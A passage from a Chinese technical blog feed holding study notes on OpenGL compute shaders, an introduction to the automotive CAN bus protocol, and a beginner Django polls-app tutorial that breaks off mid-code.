uvec3(1)之间。</p><p>gl_GlobalInvocationID 由gl_LocalInvocationID、gl_WorkGroupSize和gl_WorkGroupID派生而来。它的准确值是gl_WorkGroupID * gl_WorkGroupSize +<br>gl_LocalInvocationID，所以它是当前执行单元在全局工作组中的位置的一种有效的3维索引。</p><p>gl_LocalInvocationIndex是gl_LocalInvocationID的一种扁平化形式。其值等于</p><pre><code>gl_LocalInvocationID.z*gl_WorkGroupSize.x*gl_WorkGroupSize.y+gl_LocalInvocationID.y * gl_WorkGroupSize.x + gl_LocalInvocationID.x</code></pre><p>它可以用1维的索引来代表2维或3维的数据。</p><h2 id="通道-同步数据">通道(同步数据)</h2><p>由于我们在使用GPU的时候是并行运算，为了实现让并行运行的管道通信，这里提供了关键字<strong>shared</strong>。当变量被声明了shared之后，这个变量将能够被保存在特定的位置上，从而对所有的着色器都可用。<br>提到了通道，那么就要扯到<strong>同步</strong>的问题。为了实现同步的功能，我们有两种处理方法：</p><ul><li>运行屏障(execution barrier),通过barrier()函数触发。当着色器遇到了这个函数之后，就会运行停止直到所有的着色器都运行到了这个位置。</li><li>内存屏障(memery barrier),通过调用memoryBarrier()触发。此函数保证着色器写入内存的操作一定是交给内存端而不是cache或者队列调度的方式。</li></ul><h2 id="其他定义">其他定义</h2><h3 id="管线-图形渲染管线-graphics-pipeline">管线 – 图形渲染管线(Graphics PipeLine)</h3><p>在OpenGL中，几乎所有的图案都是绘制在3D的坐标下的，然后OpenGL进行了一定的转换从而将其放到2D的平面上。这个转换的过程是由一个叫做管线的模块。线管可以被分为两个部分：</p><ul><li>1、将3D的坐标转换为2D的坐标</li><li>2、将2D坐标转变为实际的有颜色的像素</li></ul><p>将坐标传入了管线后，就能够将数据转换成屏幕上的坐标，同时根据相关的顶点数据和段数据，从而对图形本身进行渲染。</p><h3 id="着色器-shader">着色器(Shader)</h3><p>管线被分为了不同步骤，每个步骤都被高度的专门化（即是专门来处理这个问题），可以【并行】运行。借助并行的特性，现在的GPU上有许多个小程序在帮助我们利用管线处理我们的数据，这些小程序就叫做【着色器shader】。着色器语言会将嵌入到程序中的程序翻译成<a href="https://en.wikipedia.org/wiki/ARB_assembly_language">ARB Assembly Language</a>。这些程序可以传送到GPU中被编译。</p><p>使用流程:<br>首先要通过将编写好的GLSL程序将其进行编译，从而得到一个编译好的GLSL对象:<br><img src="/2017/06/30/OpenGL%E7%9A%84%E8%AE%A1%E7%AE%97%E7%9D%80%E8%89%B2%E5%99%A8/opengl01.png" alt=""><br>当我们需要使用着色器的是时候，通过将需要传入的数据以合适的形式传入，然后将着色器依附在对应的顶点元素上，将其链接，最后传入GPU进行渲染和运算:<br><img src="/2017/06/30/OpenGL%E7%9A%84%E8%AE%A1%E7%AE%97%E7%9D%80%E8%89%B2%E5%99%A8/opengl02.png" alt=""></p><p>参考资料:<br><a href="http://blog.csdn.net/panda1234lee/article/details/51777980">http://blog.csdn.net/panda1234lee/article/details/51777980</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;opengl的着色器计算方面的应用&lt;/p&gt;
&lt;h2 id=&quot;more-opengl的计算着色器&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="opengl" scheme="https://showlinkroom.me/tags/opengl/"/>
    
  </entry>
  
  <entry>
    <title>硬件学习入门--总线CAN</title>
    <link href="https://showlinkroom.me/2017/06/28/%E7%A1%AC%E4%BB%B6%E5%AD%A6%E4%B9%A0%E5%85%A5%E9%97%A8-%E6%80%BB%E7%BA%BFCAN/"/>
    <id>https://showlinkroom.me/2017/06/28/%E7%A1%AC%E4%BB%B6%E5%AD%A6%E4%B9%A0%E5%85%A5%E9%97%A8-%E6%80%BB%E7%BA%BFCAN/</id>
    <published>2017-06-27T16:56:07.000Z</published>
    <updated>2020-07-16T13:31:30.434Z</updated>
    
    <content type="html"><![CDATA[<p>不小心混到个什么厉害的比赛，看起来得参加学习一波硬件知识了(暂时是没有硬件只能脑补GG)PS：这个标题其实起的不好，因为入门不知道从哪方面下手就乱起了</p><h2 id="more-硬件学习入门-总线can"><span id="more"></span><br>硬件学习入门–总线CAN</h2><h2 id="什么是can">什么是CAN</h2><p>控制器局域网（Controller Area Network，简称CAN或CANbus）是一种通信协议，其特点是允许网络上的设备直接互相通信，网络上不需要主机（Host）控制通信。个人理解上，也就是有种点对点传输协议的一种协议，而且是硬件之间的传输协议。（去中心化？）<br>这个协议被广泛的应用在各种车辆与电子设备上。CAN为一序列总线，它提供高安全档次及有效率的即时控制。更具备了调试和优先权判别的机制。即时的信息传输（Real-time data transmission）为CAN的特色之一。在即时的运算中，消息传递的优先级应以重要性来分，重要性较高的消息会比较不重要的消息传递的更频繁。</p><h2 id="can的基本特性">CAN的基本特性</h2><ul><li>点对点数据传输，每个节点可以向其他节点（一对一、一对多或者组播）</li><li>采用短帧结构，每一帧为8bit</li><li>节点实际可达110个</li><li>一般采用双绞线通信</li></ul><p><img src="/2017/06/28/%E7%A1%AC%E4%BB%B6%E5%AD%A6%E4%B9%A0%E5%85%A5%E9%97%A8-%E6%80%BB%E7%BA%BFCAN/CAN01.png" alt=""></p><h2 id="汽车上的can">汽车上的CAN</h2><p>基于CAN的应用曾协议应用较通用的有两种，DeviceNet（工业底层自动化）和CANOpen（适用于机械控制的嵌入式应用）</p><p><img src="/2017/06/28/%E7%A1%AC%E4%BB%B6%E5%AD%A6%E4%B9%A0%E5%85%A5%E9%97%A8-%E6%80%BB%E7%BA%BFCAN/CAN02.png" alt=""><br>（汽车电器网络结构）</p><p>汽车上使用两条CAN：</p><ul><li>一条用于驱动系统的高速CAN</li><li>另一条用于车身系统的低俗CAN</li></ul><p>Canbus上的控制器中发送信息的线路通过一个开路集电极和总线相连。<br><img src="/2017/06/28/%E7%A1%AC%E4%BB%B6%E5%AD%A6%E4%B9%A0%E5%85%A5%E9%97%A8-%E6%80%BB%E7%BA%BFCAN/CAN03.png" alt=""><br>收发器使用一个电路进行控制，即控制单元在某一时间段内只能进行发送或接收</p><p>Can上的每个节点都是一个入口，允许一个标准的计算机在标准CAN网络中通过usb交互，或者是使用一个以太网端口交互。<br>所有的节点都会使用两个总线(wire bus)。在总线的两段一般都会放两个120Ω的电阻。<br><img src="/2017/06/28/%E7%A1%AC%E4%BB%B6%E5%AD%A6%E4%B9%A0%E5%85%A5%E9%97%A8-%E6%80%BB%E7%BA%BFCAN/CAN04.png" alt=""></p><p>然后我们可以看一下帧数据包解析方式：<br><img src="/2017/06/28/%E7%A1%AC%E4%BB%B6%E5%AD%A6%E4%B9%A0%E5%85%A5%E9%97%A8-%E6%80%BB%E7%BA%BFCAN/CAN05.png" alt=""><br>首先可以看到第一位为0，表示帧的开始<br>然后是11bit的arbID，这里表示的是当前的帧的描述，描述当前帧的基本状态，被指用于是什么消息，由谁发送。<br>接下来的DLC是4 bits，表示消息中的数据长度（但是其实现在一般长度都为8）。<br>之后的数据是8 bits，就是当前传输消息的实际信息。这8 bits的数据可能是发动机转速，油量，或者开门等信息量所转换来的数据量.不管任何信号和消息都会通过总线进行传输,但是所有的ECUs必须事先约定好信息和信号的格式.</p><p>为了能够更好的处理数据, 这里引入了CAN DATABASE,也就是总线数据库,包含了所有的信息和信号的定义.</p><p>参考文章:<br><a href="https://wenku.baidu.com/view/6c32085331126edb6f1a109e.html">https://wenku.baidu.com/view/6c32085331126edb6f1a109e.html</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;不小心混到个什么厉害的比赛，看起来得参加学习一波硬件知识了(暂时是没有硬件只能脑补GG)PS：这个标题其实起的不好，因为入门不知道从哪方面下手就乱起了&lt;/p&gt;
&lt;h2 id=&quot;more-硬件学习入门-总线can&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="硬件" scheme="https://showlinkroom.me/categories/%E7%A1%AC%E4%BB%B6/"/>
    
    
    <category term="汽车破解" scheme="https://showlinkroom.me/tags/%E6%B1%BD%E8%BD%A6%E7%A0%B4%E8%A7%A3/"/>
    
  </entry>
  
  <entry>
    <title>Django-begin</title>
    <link href="https://showlinkroom.me/2017/06/20/Django-begin/"/>
    <id>https://showlinkroom.me/2017/06/20/Django-begin/</id>
    <published>2017-06-20T12:17:35.000Z</published>
    <updated>2020-07-16T13:31:30.376Z</updated>
    
    <content type="html"><![CDATA[<p>早有听说django的大名，加上我对这个hexo的自定义博客的页面有一点小小的不满意，所以打算好好学一下，没准还能换个样子</p><span id="more"></span><h2 id="django-框架学习">Django 框架学习</h2><h3 id="什么是django？什么是框架？">什么是Django？什么是框架？</h3><p>Django 是由 Python 开发的一个免费的开源网站框架，可以用于快速搭建高性能，优雅的网站。就我目前短浅的眼光看，框架就是一个【将大部分的底层功能函封装成函数使得大部分实现能够直接通过调用函数实现】。</p><h3 id="动手实现第一个网站">动手实现第一个网站</h3><hr><p>配置Django</p><p>这里参考了django官方网站上面的相关指导:<br>1.在一个网站目录下面键入:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$django-admin startproject mysite</span><br></pre></td></tr></table></figure><p>此时就会创建一个网站文件夹目录，这个目录下面会形成一个网站所需的基本目录。文件夹的目录大致为:<br>mysite/<br><a href="http://manage.py">manage.py</a><br>mysite/<br><strong>init</strong>.py<br><a href="http://settings.py">settings.py</a><br><a href="http://urls.py">urls.py</a><br><a href="http://wsgi.py">wsgi.py</a><br>它们分别的作用是:</p><ul><li>外部文件夹mysite:存放了当前网站的文件夹</li><li><a href="http://manage.py">manage.py</a>:命令行工具，方便我们使用命令行交互。相关文档为:<a href="https://docs.djangoproject.com/en/1.10/ref/django-admin/"> django-admin and manage.py</a></li><li>内部文件夹mysite:真正存放了网站的目录。我们可以通过import mysite.url这种形式将其导入</li><li>mysite/<strong>init</strong>.py:一个告知python这个目录是一个package目录的空文件。</li><li>mysite/settings.py:django项目的设置文件。</li><li>mysite/urls.py:一个声明项目url的文件，也就是我们项目的目录文件。</li><li>mysite/wsgi.py:一个指向WSGI服务器的空指针</li></ul><p>我们运行服务器的方式是在外mysite文件夹内直接运行:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python manage.py runserver</span><br></pre></td></tr></table></figure><p>然后会出现下列结果:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">System check identified no issues (0 silenced).</span><br><span class="line"></span><br><span class="line">You have 13 unapplied migration(s). Your project may not work properly until you apply the migrations for app(s): admin, auth, contenttypes, sessions.</span><br><span class="line">Run &#x27;python manage.py migrate&#x27; to apply them.</span><br><span class="line">February 17, 2017 - 16:17:49</span><br><span class="line">Django version 1.10.5, using settings &#x27;mysite.settings&#x27;</span><br><span class="line">Starting development server at http://127.0.0.1:8000/</span><br><span class="line">Quit the server with CTRL-BREAK.</span><br></pre></td></tr></table></figure><p>此时就在本地启动了我们的Django服务（端口号为8000）。同时注意，不要将这个服务器运行在任何的生产环境下。<br>runserver可以通过在后方增加数字的形式使得其运行在不同的端口上。</p><p>接下来教程将会教会我们如何制作一个投票网站app。<br>首先我们创建一个相关的文件目录:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python manage.py startapp polls</span><br></pre></td></tr></table></figure><p>这个命令会创建一个新的文件夹目录，里面会将必要的文件夹进行组织。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">polls/</span><br><span class="line">    __init__.py</span><br><span class="line">    admin.py</span><br><span class="line">    apps.py</span><br><span class="line">    migrations/</span><br><span class="line">        __init__.py</span><br><span class="line">    models.py</span><br><span class="line">    tests.py</span><br><span class="line">    views.py</span><br></pre></td></tr></table></figure><h4 id="创建第一个页面">创建第一个页面</h4><p><a href="http://xn--views-fk5ho33fr8f0x3l.py">首先打开views.py</a>，键入以下代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django.http <span class="keyword">import</span> HttpResponse</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">index</span>(<span class="params">request</span>):</span><br><span class="line">    <span class="keyword">return</span> HttpResponse(<span class="string">&quot;Hello, world. You&#x27;re at the polls index.&quot;</span>)</span><br></pre></td></tr></table></figure><p>可以看出此时通过HttpResponse，将会回复一个带有简单文字的界面。<br>为了能够调用这个views,我们需要将其映射到一个url上（这就是为什么我们需要urlconf）<br>在pulls目录下创建一个urls.py的文件，并且在里面键入:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django.conf.urls <span class="keyword">import</span> url</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> . <span class="keyword">import</span> views</span><br><span class="line"></span><br><span class="line">urlpatterns = [</span><br><span class="line">    url(<span class="string">r&#x27;^$&#x27;</span>, views.index, name=<span class="string">&#x27;index&#x27;</span>),</span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>此时正则意思就是【匹配一个空行】</p><p>然后将根目录下的URLconf指向polls.urls。在mysite/urls.py中，添加django.conf.urls.include库，然后在urlpatterns列表中插入include()。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django.conf.urls <span class="keyword">import</span> include, url</span><br><span class="line"><span class="keyword">from</span> django.contrib <span class="keyword">import</span> admin</span><br><span class="line"></span><br><span class="line">urlpatterns = [</span><br><span class="line">    url(<span class="string">r&#x27;^polls/&#x27;</span>, include(<span class="string">&#x27;polls.urls&#x27;</span>)),</span><br><span class="line">    url(<span class="string">r&#x27;^admin/&#x27;</span>, admin.site.urls),</span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>这里的匹配的意思是【匹配只用polls/或者admin/开头的url】。注意，这里写的所有都是基于在主目录下的匹配，也就是说，127.0.0.1/这个目录其实已经被默认加在了前面。此时的匹配成功的内容会调用后方参数位置上的urls解析。使用了include的意思就是，在127.0.0.1/polls/目录下的文件解析。</p><p><code>注意，当我们使用其他的url模式的时候，一定要使用**include**</code><br>此时我们需要访问的是:<br><a href="http://localhost:8000/polls/">http://localhost:8000/polls/</a><br>因为此时在根目录下匹配的是polls，那么此时匹配的内容就是我们response中所布置的网页。</p><p>这里介绍一下<strong>url</strong>函数</p><h4 id="url-regex-view-kwargs">url(regex, view, kwargs, )</h4><p>参数:</p><ul><li>regex: 这个参数是一个正则表达式，表示一个url的模式。Djagon会从第一个正则表达式开始比较，直到比较到符合的那个。<br>注意这个url是不会区分get和post请求的，就比如说https://www.example.com/myapp/,RURLConf回去寻找myapp/的表达式，而https://www.example.com/myapp/?page=3,依然是寻找myapp/的表达式。<br>这些表达式在URLconf被load的时候才会加载。</li><li>view: 如果在某个URLconf中完成了匹配，那么这里就会调用这个特殊的view 函数，并且将HttpRequest对象作为第一个参数传入，并且还包含了其他的从正则表达式中获取的参数。如果只是简单的匹配的话，那么参数是作为可选参数传入；如果命名了补货结果，那么参数值会作为键值出阿奴人。</li><li>kwargs: 在target view中的可选传入参数。</li><li>name: 给url的命名。</li></ul><h2 id="给django加上数据库">给Django加上数据库</h2><p>mysite/settings.py为Django的基本配置文件。这个文件中可以修改我们的默认数据库。系统默认的是python自带的sqlite3，如果需要修改的话，需要找到DATABASES变量，修改下列属性:</p><ul><li>‘defualt’改成’django.db.backends.sqlite3’, ‘django.db.backends.postgresql’, ‘django.db.backends.mysql’, or 'django.db.backends.oracle’等，其他的后台也是支持的</li><li>'name’后的文件要改成对应数据库文件的绝对路径。</li></ul><p>在这个文件中，可以设置时区<br>同时，配置文件中，还有一个叫做INSTALLED_APPS的文件。这个文件是Django使用中会用到的所有对象。这其中的appsu和i在多工程的场合下使用。默认状态下包含一下文件:</p><ul><li>django.contrib.admin – 系统后台</li><li>django.contrib.auth – 官方系统</li><li>django.contrib.contenttypes – 内容类型的框架</li><li>django.contrib.sessions – 会话框架</li><li>django.contrib.messages – 信息类框架</li><li>django.contrib.staticfiles – 静态文件框架</li></ul><p>这些些apps有的用到了至少一个数据库。所以在使用之前我们需要创建数据库。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python manage.py migrate # 迁移数据库</span><br></pre></td></tr></table></figure><p>migrate会从INSTALLED_APPS查找所有的apps并且安装所有必要的数据库。并且将迁移数据库与应用程序。当然，不需要的内容可以直接从这里删除。</p><p>我们简单的投票app中将会创建两个简单的模型:Question和Choice。Question中包含了一个问题和公示数据。Choice含含有两个域:选择的内容和机票。每一个Choice都将和Quesiton关联。</p><p>我们修改polls/models.py文件如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django.db <span class="keyword">import</span> models</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Question</span>(models.Model):</span><br><span class="line">    question_text = models.CharField(max_length=<span class="number">200</span>)</span><br><span class="line">    pub_date = models.DateTimeField(<span class="string">&#x27;date published&#x27;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Choice</span>(models.Model):</span><br><span class="line">    question = models.ForeignKey(Question, on_delete=models.CASCADE)</span><br><span class="line">    choice_text = models.CharField(max_length=<span class="number">200</span>)</span><br><span class="line">    votes = models.IntegerField(default=<span class="number">0</span>)</span><br></pre></td></tr></table></figure><p>注意到，这个类中的每一个子类都是django.db.models.Model的子类，其中又很多代表了数据库域的变量。<br>这里的每一个变量都是一个Field类型的实例化,比如CharField是一个字符串子域，DateTimeField则是一个时间的子域。<br>变量的名字就是域的名字。同时我们还能够给我们的域起一个可以理解的名字。比如在Question.pub_date中的命名一样。<br>有一些域需要传入默认值，就比如CharField,规定改域的大小。<br>域可以设置默认值，votes中就设置了初始值0。<br>同时注意到模型中进行了关联，<strong>ForeignKey</strong>表示Django中的Choice会关联到一个Question上。Django支持所有类型的数据库关系:多对一，一对一，一对多。</p><h4 id="激活模型">激活模型</h4><p>通过上面代码，Django可以完成:</p><ul><li>weiapp创建合适的数据库模型</li><li>创建python的数据库API，从而操作Question和Choice数据库<br>但是我们首先需要将polls app安装。<br>因为Django的原则是<strong>pluggable(可安装的)</strong>，也就是说每个apps可以在不同的项目中都是可以运行，所以要通过<strong>安装</strong>让其可以运行在当前的环境中。<br>安装这个过程就是我们之前看到的<strong>INSTALLED_APPS</strong>设置，由于我们的配置文件默认在polls.apps.PollsConfig,所以我们要在mysite/settings.py中增加这个类:<br>…<br>INSTALLED_APPS = [</li><li>‘polls.apps.PollsConfig’,<br>…<br>接下来我们用另一个命令:</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python manage.py makemigrations polls</span><br></pre></td></tr></table></figure><p>会出现如下的提示:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Migrations for &#x27;polls&#x27;:</span><br><span class="line">  polls\migrations\0001_initial.py:</span><br><span class="line">    - Create model Choice</span><br><span class="line">    - Create model Question</span><br><span class="line">    - Add field question to choice</span><br></pre></td></tr></table></figure><p>上述指令的意思相当于告诉Django我们将要改变我们当前的模型，并且这个改变将会被作为<strong>迁移</strong>存储下来。<br><strong>迁移</strong>记录了Djange如何修改我们模型。记录在了polls/migrations/0001_initial.py中。使用指令</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">python manage.py sqlmigrate polls 0001</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>将会展示第0001次修改中发生了什么:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">BEGIN;</span><br><span class="line">--</span><br><span class="line">-- Create model Choice</span><br><span class="line">--</span><br><span class="line">CREATE TABLE &quot;polls_choice&quot; (</span><br><span class="line">    &quot;id&quot; serial NOT NULL PRIMARY KEY,</span><br><span class="line">    &quot;choice_text&quot; varchar(200) NOT NULL,</span><br><span class="line">    &quot;votes&quot; integer NOT NULL</span><br><span class="line">);</span><br><span class="line">--</span><br><span class="line">-- Create model Question</span><br><span class="line">--</span><br><span class="line">CREATE TABLE &quot;polls_question&quot; (</span><br><span class="line">    &quot;id&quot; serial NOT NULL PRIMARY KEY,</span><br><span class="line">    &quot;question_text&quot; varchar(200) NOT NULL,</span><br><span class="line">    &quot;pub_date&quot; timestamp with time zone NOT NULL</span><br><span class="line">);</span><br><span class="line">--</span><br><span class="line">-- Add field question to choice</span><br><span class="line">--</span><br><span class="line">ALTER TABLE &quot;polls_choice&quot; ADD COLUMN &quot;question_id&quot; integer NOT NULL;</span><br><span class="line">ALTER TABLE &quot;polls_choice&quot; ALTER COLUMN &quot;question_id&quot; DROP DEFAULT;</span><br><span class="line">CREATE INDEX &quot;polls_choice_7aa0f6ee&quot; ON &quot;polls_choice&quot; (&quot;question_id&quot;);</span><br><span class="line">ALTER TABLE &quot;polls_choice&quot;</span><br><span class="line">  ADD CONSTRAINT &quot;polls_choice_question_id_246c99a640fbbd72_fk_polls_question_id&quot;</span><br><span class="line">    FOREIGN KEY (&quot;question_id&quot;)</span><br><span class="line">    REFERENCES &quot;polls_question&quot; (&quot;id&quot;)</span><br><span class="line">    DEFERRABLE INITIALLY DEFERRED;</span><br><span class="line"></span><br><span class="line">COMMIT;</span><br></pre></td></tr></table></figure><p>注意以下：</p><ul><li>上述的输出内容取决于数据库类型。</li><li>表单的名字会由polls和我们model的小写状态组成(比如polls_choice)</li><li>主关键字(IDS)会自动添加(可重载)</li><li>Django会在外键后加上_id。(可重载)</li><li>Django会适应我们的数据库，所以数据库的具体域类型，比如sqlite的INTEGER PRIMARY KEY AUTOINCREMENT（自增整数主键）将会为我们自动处理。</li><li>外键关系被 foreign key约束，所以不用担心延迟。</li><li>sqlmigrate命令并不会自动运行迁移，这只是将这个过程输入到中断，所以我们能看到Django需要怎么样的SQL。我们可以确认Djang将会取做什么或者数据库管理员要进行sql脚本如何处理</li></ul><p>使用指令</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python manage.py check</span><br></pre></td></tr></table></figure><p>可以检查是否有问题而不会真正的迁移数据库。<br>一切准备就绪之后，就可以使用下列指令:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python manage.py migrate</span><br></pre></td></tr></table></figure><p>从而将数据模型实现。<br>这个指令会将之前没有实现的模型完全实现（django使用了django_migrations跟踪数据库）并且同步数据库的改变。</p><p><strong>迁移</strong>是非常有用的，它可以让你不需要删除数据库或者表就可以改变模型。可以动态的升级数据库而不丢失数据。<br>三步修改数据模型:</p><ul><li>在models.py中修改数据模型</li><li>执行python <a href="http://manage.py">manage.py</a> makemigrations为所有的改变创建一个迁移</li><li>执行python <a href="http://manage.py">manage.py</a> migrate实现上述所有的更改。<br>通过分离<strong>迁移</strong>和<strong>实现</strong>的过程，使得我们能够提交我们的改变（版本号），从而识自己和他人便于维护。</li></ul><hr><p>使用API</p><p>首先我们尝试使用python shell和当前的apps交互:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python manage.py shell</span><br></pre></td></tr></table></figure><p>这里我们使用python shell与其进行交互，注意这里的属性修改如果想要存储在database中的话，需要调用save函数:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt; from polls.models import Question, Choice</span><br><span class="line">&gt;&gt;&gt; Question.objects.all()</span><br><span class="line">&lt;QuerySet []&gt;</span><br><span class="line">&gt;&gt;&gt; from django.utils import timezone</span><br><span class="line">&gt;&gt;&gt; q = Question(question_text=&quot;What&#x27;s new?&quot;, pub_date = timezone.now())</span><br><span class="line">&gt;&gt;&gt; timezone.now()</span><br><span class="line">datetime.datetime(2017, 2, 22, 8, 43, 6, 815834, tzinfo=&lt;UTC&gt;)</span><br><span class="line">&gt;&gt;&gt; q.save()</span><br><span class="line">&gt;&gt;&gt; q.id</span><br><span class="line">1</span><br><span class="line">&gt;&gt;&gt; q.question_text</span><br><span class="line">&quot;What&#x27;s new?&quot;</span><br><span class="line">&gt;&gt;&gt; q.pub_date</span><br><span class="line">datetime.datetime(2017, 2, 22, 8, 42, 53, 211365, tzinfo=&lt;UTC&gt;)</span><br><span class="line">&gt;&gt;&gt; q.question_text = &quot;What&#x27;s ip&quot;</span><br><span class="line">&gt;&gt;&gt; q.question_text</span><br><span class="line">&quot;What&#x27;s ip&quot;</span><br><span class="line">&gt;&gt;&gt; q.question_text = &quot;What&#x27;s up&quot;</span><br><span class="line">&gt;&gt;&gt; q.question_text</span><br><span class="line">&quot;What&#x27;s up&quot;</span><br><span class="line">&gt;&gt;&gt; q.save()</span><br><span class="line">&gt;&gt;&gt; Question.objects.all()</span><br><span class="line">&lt;QuerySet [&lt;Question: Question object&gt;]&gt;</span><br></pre></td></tr></table></figure><p>然后，注意到这个Question.objects.all类的名字不太好听，我们可以在Question类中给其取一个好听的名字:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"># use this decorator to compate python2</span><br><span class="line">from django.utils.encoding import python_2_unicode_compatible</span><br><span class="line">...</span><br><span class="line">class Choice(models.Model):</span><br><span class="line">    @python_2_unicode_compatible</span><br><span class="line">    def __str__(self):</span><br><span class="line">        return self.choice_text</span><br></pre></td></tr></table></figure><p>通过这个方式，可以实现在输出的时候就会将设置的text作为名字。同时对象的表示会在整个Django的生成中使用。<br>然后我们添加新的models:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> datetime</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> django.db <span class="keyword">import</span> models</span><br><span class="line"><span class="keyword">from</span> django.utils <span class="keyword">import</span> timezone</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Question</span>(models.Model):</span><br><span class="line">    <span class="comment"># ...</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">was_published_recently</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">return</span> self.pub_date &gt;= timezone.now() - datetime.timedelta(days=<span class="number">1</span>)</span><br></pre></td></tr></table></figure><p>然后我们重新打开shell进行操作:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span 